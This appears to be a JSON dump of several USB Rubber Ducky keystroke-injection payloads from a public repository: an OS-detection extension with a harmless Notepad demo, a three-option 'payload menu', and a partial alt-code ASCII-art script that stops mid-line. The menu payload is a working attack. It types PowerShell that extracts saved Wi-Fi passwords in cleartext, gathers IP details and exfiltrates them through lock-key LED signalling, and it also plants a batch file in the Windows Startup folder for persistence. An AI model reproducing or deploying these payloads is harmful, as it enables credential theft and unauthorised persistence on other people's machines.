    "content": "REM Title: One Script To Rule Them All\r\nREM Author: Korben and UberGuidoZ\r\nREM Description: Attempt to detect OS then run conditional code based on result.\r\nREM Target: Windows, macOS, Linux, iOS, ChromeOS, Android, plus custom OS.\r\nREM Version: 1.6\r\nREM Category: All of them\r\nREM Source: https://github.com/UberGuidoZ/Hak5-USBRubberducky-Payloads\r\n\r\nEXTENSION OS_DETECTION_UBER\r\n    REM VERSION 2.0\r\n    REM AUTHOR: Korben and UberGuidoZ\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        USB Rubber Ducky Host OS Detection (moving target, may fall)\r\n        Results may vary greatly depending on a combination of many variables:\r\n         - number of testing stages\r\n         - specific devices and versions tested against\r\n         - number of systems testing for (scope)\r\n         - detection techniques (passive/invisible/active/hybrid)\r\n         - overall speed\r\n         - overall accuracy\r\n\r\n        If all you require is Windows vs <any other os> detection, the PASSIVE_WINDOWS_DETECT extension is recommended over this one.\r\n\r\n        TARGET:\r\n            DEFAULT - Windows, Mac, Linux\r\n            ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android, custom defined OS\r\n\r\n        USAGE:\r\n            Call DETECT_OS_UBER() anywhere in your payload after the extension.\r\n            Place this extension and the DETECT_OS_UBER() before you would like to first reference $_OS to execute payload code conditionally.\r\n\r\n        FEEDBACK:\r\n            As mentioned above, this a moving target (especially for macOS).\r\n            Please report any issues identifying specific operating systems with as much detail as possible.\r\n            Your feedback will greatly help solidify the robustness of this extension and others based on it.\r\n\r\n        DEBUGGING:\r\n            SET DEBUGGING_OUTPUT DEFINE to TRUE, deploy on a target with text editor open for debug output\r\n    END_REM\r\n\r\n    REM CONFIGURATION\r\n\r\nREM For Debugging (use if troubleshooting or reporting issues):\r\n    DEFINE #DEBUGGING_OUTPUT FALSE\r\n    DEFINE #ADVANCED_DETECTION FALSE\r\n\r\nREM Timing fine tuning:\r\n    DEFINE #STARTUP_DELAY 1500\r\n    DEFINE #RESTART_WAIT 1000\r\n    DEFINE #EXECUTE_DELAY 2000\r\n    DEFINE #CONNECT_WAIT 1000\r\n    DEFINE #OS_DETECT_MODE HID\r\nREM Define Apple keyboard to keep macOS happy\r\n    DEFINE #OS_DETECT_VID VID_05AC\r\n    DEFINE #OS_DETECT_PID PID_021E\r\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\r\n    DEFINE #HOST_RESPONSE_TIMEOUT 1000\r\n\r\nREM Start DETECT_OS function\r\n    FUNCTION DETECT_OS_UBER()\r\n        $_HOST_CONFIGURATION_REQUEST_COUNT = 0\r\n        ATTACKMODE #OS_DETECT_MODE #OS_DETECT_VID #OS_DETECT_PID\r\n        DELAY #STARTUP_DELAY\r\n        SAVE_HOST_KEYBOARD_LOCK_STATE\r\n\r\nREM Debugging if TRUE\r\n        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n            IF_DEFINED_TRUE #ADVANCED_DETECTION\r\n                STRING ADVANCED OS DETECT\r\n            ELSE_DEFINED\r\n                STRING OS DETECT\r\n            END_IF_DEFINED\r\n            ENTER\r\n            STRING test caps\r\n        END_IF_DEFINED\r\n\r\n        IF ($_CAPSLOCK_ON == FALSE) THEN\r\n            LED_R\r\n            CAPSLOCK\r\n            DELAY #HOST_RESPONSE_TIMEOUT\r\n        END_IF\r\n        LED_OFF\r\n\r\n        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n            ENTER\r\n            STRING test done\r\n        END_IF_DEFINED\r\n\r\n        IF $_RECEIVED_HOST_LOCK_LED_REPLY THEN\r\n            IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                ENTER\r\n                STRING received led response\r\n            END_IF_DEFINED\r\n            LED_G\r\n            IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\r\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                    ENTER\r\n                    STRING Prediction: Windows\r\n                END_IF_DEFINED\r\n                $_OS = WINDOWS\r\n            ELSE\r\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                    ENTER\r\n                    STRING Prediction: Linux\r\n                END_IF_DEFINED\r\n                $_OS = LINUX\r\n            END_IF\r\n        ELSE\r\n            IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                ENTER\r\n                STRING No LED response\r\n                ENTER\r\n                STRING Prediciton: MacOS\r\n            END_IF_DEFINED\r\n            $_OS = MACOS\r\n        END_IF\r\n\r\n        IF_DEFINED_TRUE #ADVANCED_DETECTION\r\n            IF ( $_OS == LINUX ) THEN\r\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                    ENTER\r\n                    STRING Soft reconnect\r\n                END_IF_DEFINED\r\n                ATTACKMODE OFF\r\n                DELAY #RESTART_WAIT\r\n                ATTACKMODE #OS_DETECT_MODE #OS_DETECT_VID #OS_DETECT_PID\r\n                DELAY #CONNECT_WAIT\r\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                    ENTER\r\n                    STRING Reconnected\r\n                END_IF_DEFINED\r\n                IF ($_CAPSLOCK_ON == TRUE) THEN\r\n                    IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                        ENTER\r\n                        STRING Caps LED on\r\n                        ENTER\r\n                        STRING Test numlock\r\n                    END_IF_DEFINED\r\n                    NUMLOCK\r\n                    DELAY #HOST_RESPONSE_TIMEOUT\r\n                    IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                        ENTER\r\n                        STRING Test done\r\n                    END_IF_DEFINED\r\n                    IF ($_NUMLOCK_ON == FALSE) THEN\r\n                        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                            ENTER\r\n                            STRING No numlock LED\r\n                            ENTER\r\n                            STRING Prediciton: ChromeOS\r\n                        END_IF_DEFINED\r\n                        $_OS = CHROMEOS\r\n                    ELSE\r\n                        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                            ENTER\r\n                            STRING Numlock LED on\r\n                            ENTER\r\n                            STRING Testing scrolllock\r\n                        END_IF_DEFINED\r\n                        SCROLLLOCK\r\n                        DELAY #HOST_RESPONSE_TIMEOUT\r\n                        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                            ENTER\r\n                            STRING Test done\r\n                        END_IF_DEFINED\r\n                        IF ($_SCROLLLOCK_ON == TRUE) THEN\r\n                            IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                                ENTER\r\n                                STRING Scrolllock LED on\r\n                                ENTER\r\n                                STRING Prediciton: Android\r\n                            END_IF_DEFINED\r\n                            $_OS = ANDROID\r\n                        ELSE\r\n                            IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                                ENTER\r\n                                STRING No scrolllock reply\r\n                                ENTER\r\n                                STRING Prediction: Linux\r\n                            END_IF_DEFINED\r\n                            $_OS = LINUX\r\n                        END_IF\r\n                    END_IF\r\n                END_IF\r\n            ELSE IF ($_OS == MACOS) THEN\r\n                IF ($_CAPSLOCK_ON == TRUE) THEN\r\n                    IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                        ENTER\r\n                        STRING Caps LED on\r\n                        ENTER\r\n                        STRING Prediction: iOS\r\n                    END_IF_DEFINED\r\n                    $_OS = IOS\r\n                ELSE \r\n                    IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                        ENTER\r\n                        STRING No caps reply\r\n                        ENTER\r\n                        STRING Prediction: MacOS\r\n                    END_IF_DEFINED\r\n                    $_OS = MACOS\r\n                END_IF\r\n            ELSE IF ($_OS == WINDOWS) THEN\r\n                IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n                    ENTER\r\n                    STRING Confident Windows Prediction\r\n                END_IF_DEFINED\r\n                $_OS = WINDOWS\r\n            END_IF\r\n        END_IF_DEFINED\r\n\r\n        RESTORE_HOST_KEYBOARD_LOCK_STATE\r\n\r\n        IF_DEFINED_TRUE #DEBUGGING_OUTPUT\r\n            ENTER\r\n            STRING OS_DETECT complete\r\n            ENTER\r\n        END_IF_DEFINED\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\nEXTENSION HELLO_OS_UBER\r\n    REM VERSION 2.0\r\n    REM AUTHOR: Korben and UberGuidoZ\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        USAGE:\r\n            For use with OS_DETECTION_UBERExtension, call HELLO_OS_UBER()\r\n            after DETECT_OS_UBER() prints the OS determination. Make sure\r\n            your custom conditional code is inserted below where commented.\r\n    END_REM\r\n\r\n    REM Defining custom $_OS enums if desired\r\n    DEFINE #EXTRA_EXAMPLES FALSE\r\n    DEFINE #SOME_OTHER_OS 6\r\n    DEFINE #ANOTHER_OS 7\r\n\r\n    FUNCTION HELLO_OS_UBER() \r\n        IF ($_OS == WINDOWS) THEN\r\n            REM Windows code starts here\r\n            DELAY 1000\r\n            GUI r\r\n            DELAY 500\r\n            STRINGLN notepad\r\n            DELAY 1000\r\n            STRINGLN Legit DS3 on Windows\r\n            REM Windows code ends here\r\n        ELSE IF ($_OS == MACOS) THEN\r\n            REM macOS code starts here\r\n            DELAY 2000\r\n            GUI SPACE\r\n            DELAY 500\r\n            STRINGLN TextEdit\r\n            STRINGLN Legit DS3 on macOS\r\n            REM macOS code ends here\r\n        ELSE IF ($_OS == LINUX) THEN\r\n            REM Linux code starts here\r\n            DELAY 2000\r\n            CTRL ALT t\r\n            DELAY 100\r\n            STRINGLN nano\r\n            STRINGLN Legit DS3 on Linux\r\n            REM Linux code ends here\r\n        ELSE IF ($_OS == IOS) THEN\r\n            REM iOS code starts here\r\n            REM iOS code ends here\r\n        ELSE IF ($_OS == CHROMEOS) THEN\r\n            REM ChromeOS code starts here\r\n            REM ChromeOS code ends here\r\n        ELSE IF ($_OS == ANDROID) THEN\r\n            REM Android code starts here\r\n            REM Android code ends here\r\n        IF_DEFINED_TRUE #EXTRA_EXAMPLES\r\n            ELSE IF($_OS == #SOME_OTHER_OS) THEN\r\n                REM Custom Other OS code starts here\r\n                REM Custom Other OS code ends here\r\n            ELSE IF($_OS == #ANOTHER_OS) THEN\r\n                REM Another custom Other OS code starts here\r\n                REM Another custom Other OS code ends here\r\n        END_IF_DEFINED\r\n            ELSE\r\n                REM All else fails code starts here\r\n                REM All else fails code ends here\r\n        END_IF\r\n    END_FUNCTION\r\nEND_EXTENSION\r\n\r\nREM Do the do! Change delay at beginning if desired.\r\n\r\nDETECT_OS_UBER()\r\nDELAY #EXECUTE_DELAY\r\nHELLO_OS_UBER()"
  },
  {
    "path": "payloads/library/general/3_Payload_Menu/payload.txt",
    "content": "REM Three Payloads from LOCK Key Double Press.\nREM Author: RootJunky\nREM COMPATABILITY: Windows\nREM DuckyScript 3.0\n\nREM set password\nDEFINE PASS mypassword\n\nREM Stop and Start the while loop during payload execution with VAR 1 and 2.\nVAR $stopstart = 1\n\nREM SCROLLLOCK Payload\nFUNCTION FUN1()\n    $stopstart = 2\n    WAIT_FOR_SCROLL_CHANGE\n    DELAY 1000\n    STRING PASS\n    ENTER\n    LED_R\n    DELAY 1000\n    LED_OFF\n    $stopstart = 1\nEND_FUNCTION\n\nREM NUMLOCK Payload\nFUNCTION FUN2()\n    $stopstart = 2\n    WAIT_FOR_NUM_CHANGE\n    DELAY 500\n    GUI r\n    DELAY 1000\n    STRING Powershell\n    DELAY 500\n    ENTER\n    DELAY 1000\n    STRING $computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content\n    ENTER\n    STRING $PublicIP = \"Your-Public-IP-Address\"\n    ENTER\n    STRING $LocalIP = \"Your-Local-IP-Address\"\n    ENTER\n    STRING $computerIP = get-WmiObject Win32_NetworkAdapterConfiguration|Where {$_.Ipaddress.length -gt 1}\n    ENTER\n    STRING $Networks =  Get-WmiObject Win32_NetworkAdapterConfiguration -Filter \"DHCPEnabled=$True\" | ? {$_.IPEnabled}\n    ENTER\n    STRING $Wifi = (netsh wlan show profiles) | Select-String \":(.+)$\" | % {$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=\"$name\" key=clear)} | Select-String \"Key Content\\W+\\:(.+)$\" | % {$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize\n    ENTER\n    STRING $Wifi + $PublicIP + $computerPubIP + $LocalIP + $Networks.ipaddress[0] > $env:tmp\\z\n    ENTER\n    STRING clear\n    ENTER\n    SAVE_HOST_KEYBOARD_LOCK_STATE\n    STRING $Wifi + $PublicIP + $computerPubIP + $LocalIP + $Networks.ipaddress[0] + (echo \"Press NUMLOCK now to EXFIL this data, you have 5 seconds.\")\n    ENTER\n    STRING timeout 5\n    ENTER\n    DELAY 6000\n    STRING EXIT\n        REM This only runs if NUMLOCK is press in the 5 second window. \n        IF $_NUMLOCK_ON THEN\n            $_EXFIL_MODE_ENABLED = TRUE\n            $_EXFIL_LEDS_ENABLED = TRUE\n        \n            REM Convert the stored credentials into CAPSLOCK and NUMLOCK values.\n            GUI r\n            DELAY 100\n            STRING powershell \"foreach($b in $(cat $env:tmp\\z -En by)){foreach($a in 0x80,\n            STRING 0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else\n            STRING {$o+='%{CAPSLOCK}'}}};$o+='%{SCROLLLOCK}';echo $o >$env:tmp\\z\"\n            ENTER\n            DELAY 100\n        \n            REM Use powershell to inject the CAPSLOCK and NUMLOCK values to the Ducky.\n            GUI r\n            DELAY 100\n            STRING powershell \"$o=(cat $env:tmp\\z);Add-Type -A System.Windows.Forms;\n            STRING [System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\\z\"\n            ENTER\n            DELAY 100\n        \n            REM The final SCROLLLOCK value will be sent to indicate that EXFIL is complete.\n            WAIT_FOR_SCROLL_CHANGE\n            LED_G\n            $_EXFIL_MODE_ENABLED = FALSE\n            RESTORE_HOST_KEYBOARD_LOCK_STATE\n        END_IF\n    LED_R\n    DELAY 1000\n    LED_OFF\n    $stopstart = 1\nEND_FUNCTION\n\nREM Capslock payload\nFUNCTION FUN3()\n    $stopstart = 2\n    WAIT_FOR_CAPS_CHANGE\n    DELAY 500\n    GUI r\n    DELAY 500\n    STRING cmd\n    DELAY 500\n    ENTER\n    DELAY 1000\n    STRING ECHO echo off > \"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rickroll.bat\"\n    DELAY 500\n    ENTER\n    STRING ECHO mode con:cols=30 lines=10 >> \"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rickroll.bat\"\n    DELAY 500\n    ENTER\n    STRING ECHO start https://youtu.be/sXwaRjU7Tj0?t=57 >> \"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rickroll.bat\"\n    DELAY 500\n    ENTER\n    STRING ECHO exit >> \"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\rickroll.bat\"\n    DELAY 500\n    ENTER\n    STRING exit\n    ENTER\n    LED_R\n    DELAY 1000\n    LED_OFF\n    $stopstart = 1\nEND_FUNCTION\n\nREM place all lock keys in the off state to start the payload correctly. \nFUNCTION SETUP()\nSAVE_HOST_KEYBOARD_LOCK_STATE\nDELAY 500\nIF ( $_NUMLOCK_ON == TRUE ) THEN\n    NUMLOCK\n    DELAY 500\nEND_IF\nIF ( $_SCROLLLOCK_ON == TRUE ) THEN\n    SCROLLLOCK\n    DELAY 500\nEND_IF\nIF ( $_CAPSLOCK_ON == TRUE ) THEN\n    CAPSLOCK\n    DELAY 500\nEND_IF\nEND_FUNCTION\n\nREM SCROLLLOCK on to enable button description on ducky startup. \nSAVE_HOST_KEYBOARD_LOCK_STATE\nDELAY 1000\nIF ( $_SCROLLLOCK_ON == TRUE ) THEN\n    DELAY 500\n    GUI r \n    DELAY 1000\n    STRING powershell\n    DELAY 500\n    ENTER\n    DELAY 1000\n    STRING $groups = ('CAPSLOCK = RickRoll','SCROLLLOCK = Password','NUMLOCK = WiFi Password and EXFIL','Double press any of these keys to run the payloads.')\n    ENTER\n    STRING $groups = $groups -join \"`n- \"\n    ENTER\n    STRING powershell -WindowStyle hidden -Command \"& {[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('- $groups','DUCKY USAGE')}\"\n    ENTER\n    SETUP()\n        ELSE IF\n    SETUP()\nEND_IF\n\nREM Constantly monitor scrolllock, numlock, and capslock keys with a while loop. \nWHILE ( $stopstart == 1 )\n    REM Call FUNCTION 1 with scrolllock press.\n    IF ($_SCROLLLOCK_ON == TRUE) THEN\n    FUN1()\n        REM Call FUNCTION 2 with numlock press.\n        ELSE IF ($_NUMLOCK_ON == TRUE) THEN\n        FUN2()\n            REM Call FUNCTION 3 with capslock press.\n            ELSE IF ($_CAPSLOCK_ON == TRUE) THEN\n            FUN3()\n    END_IF\nEND_WHILE\n"
  },
  {
    "path": "payloads/library/general/Ascii/Win_HID_ALT-Code-Art/payload.txt",
    "content": "REM Title: TOP SECRET\nREM Author: Cribbit\nREM Description: Draws something in notepad using alt codes\nREM Target: Windows\nREM Props: Korben\nREM RunTime: about 1 hr\nREM Note: you will need the define KPAD_0 to KPAD_9 in your language file\nREM    \"KPAD_1\":\"00,00,59\",\nREM    \"KPAD_2\":\"00,00,5a\",\nREM    \"KPAD_3\":\"00,00,5b\",\nREM    \"KPAD_4\":\"00,00,5c\",\nREM    \"KPAD_5\":\"00,00,5d\",\nREM    \"KPAD_6\":\"00,00,5e\",\nREM    \"KPAD_7\":\"00,00,5f\",\nREM    \"KPAD_8\":\"00,00,60\",\nREM    \"KPAD_9\":\"00,00,61\",\nREM    \"KPAD_0\":\"00,00,62\",\n\nEXTENSION BUTCHEDTRANSLATE\n\n    REM Append ENTER after translation\n    VAR $ADD_NEWLINE = FALSE\n\n    VAR $D = 0\n    VAR $IN = 0\n    VAR $INPUT = 0\n    VAR $MOD = 0\n    VAR $P = FALSE\n\n    REM REQUIRED for INT/HEX - convert int to char\n    FUNCTION PRINTDIGIT()\n        IF ($D == 0) THEN\n            KPAD_0\n        ELSE IF ($D == 1) THEN\n            KPAD_1\n            DELAY 500\n        ELSE IF ($D == 2) THEN\n            KPAD_2\n        ELSE IF ($D == 3) THEN\n            KPAD_3\n        ELSE IF ($D == 4) THEN\n            KPAD_4\n        ELSE IF ($D == 5) THEN\n            KPAD_5\n        ELSE IF ($D == 6) THEN\n            KPAD_6\n        ELSE IF ($D == 7) THEN\n            KPAD_7\n        ELSE IF ($D == 8) THEN\n            KPAD_8\n        ELSE IF ($D == 9) THEN\n            KPAD_9\n        END_IF\n    END_FUNCTION\n\n    REM REQUIRED for INT/HEX- consumes a character / place from the input\n    FUNCTION CONSUME()\n        $D = 0\n        WHILE ($INPUT >= $MOD)\n            $D = ($D + 1)\n            $INPUT = ($INPUT - $MOD)\n        END_WHILE\n        IF (($D > 0) || ($P == TRUE)) THEN\n            $P = TRUE\n            PRINTDIGIT()\n        END_IF\n    END_FUNCTION\n\n\n    REM Translates a variable of presumed integer type and attempts to convert\n    REM and inject a DECIMAL string representation\n    FUNCTION TRANSLATE_INT() \n        $P = FALSE\n        IF ( $INPUT >= 10000) THEN\n            $MOD = 10000\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 1000) || ($P == TRUE)) THEN\n            $MOD = 1000\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 100) || ($P == TRUE)) THEN\n            $MOD = 100\n            CONSUME()\n        END_IF\n        IF (($INPUT >= 10) || ($P == TRUE)) THEN\n            $MOD = 10\n            CONSUME()\n        END_IF()\n        $D = $INPUT\n        PRINTDIGIT()\n        IF ($ADD_NEWLINE) THEN\n            ENTER\n        END_IF\n    END_FUNCTION\n\nEND_EXTENSION\n\n\n\nEXTENSION DETECT_READY\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n\n        TARGETS:\n            Any system that reflects CAPSLOCK will detect minimum required delay\n            Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #RESPONSE_DELAY 25\n    DEFINE #ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY #RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nFUNCTION SEND_ALT_CODE()\n    INJECT_MOD\n    HOLD ALT\n    TRANSLATE_INT()\n    INJECT_MOD\n    RELEASE ALT\nEND_FUNCTION\n\nVAR $MULTIPLE = 1\nVAR $CHAR = 1\nFUNCTION SEND_MULTI()\n    VAR $CNT = $MULTIPLE\n    WHILE ( $CNT > 0)\n        $INPUT = $CHAR\n        SEND_ALT_CODE()\n        $CNT = ($CNT - 1)\n    END_WHILE\nEND_FUNCTION\n\nREM ALT Codes used\n\nREM block\nVAR $BLACK = 219\nREM high density dotted\nVAR $DARKGREY = 178\nREM medium density dotted\nVAR $MID = 177\nREM low density dotted\nVAR $LIGHTGREY = 176\nREM SPACE = 32 vs Non-breaking space = 255\nVAR $WHITE = 255\n\nREM Main Program\n\nGUI r\nDELAY 200\nSTRING notepad\nENTER\nDELAY 500\n\nSTAGE Line 1\n\t$CHAR = $MID\n\t$MULTIPLE = 80\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 2\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 28\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 3\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 4\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 22\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 5\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 20\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 6\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 18\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 24\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 7\n\t$CHAR = $MID\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 8\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 16\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 8\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 12\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 8\n\t$CHAR = $MID\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 8\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 8\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 7\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 9\n\t$CHAR = $MID\n\t$MULTIPLE = 8\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 20\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 1\n\tSEND_MULTI()\n\t$CHAR = $LIGHTGREY\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 8\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 10\n\t$CHAR = $MID\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 22\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 3\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 6\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 4\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 11\n\t$CHAR = $MID\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 28\n\tSEND_MULTI()\n\t$CHAR = $BLACK\n\t$MULTIPLE = 2\n\tSEND_MULTI()\n\t$CHAR = $WHITE\n\t$MULTIPLE = 9\n\tSEND_MULTI()\n\t$CHAR = $DARKGREY\n\t$MULTIPLE = 5\n\tSEND_MULTI()\n\t$CHAR = $MID\n\t$MULTIPLE = 10\n\tSEND_MULTI()\n\tENTER\nEND_STAGE\nSTAGE Line 12\n\t$CHAR = 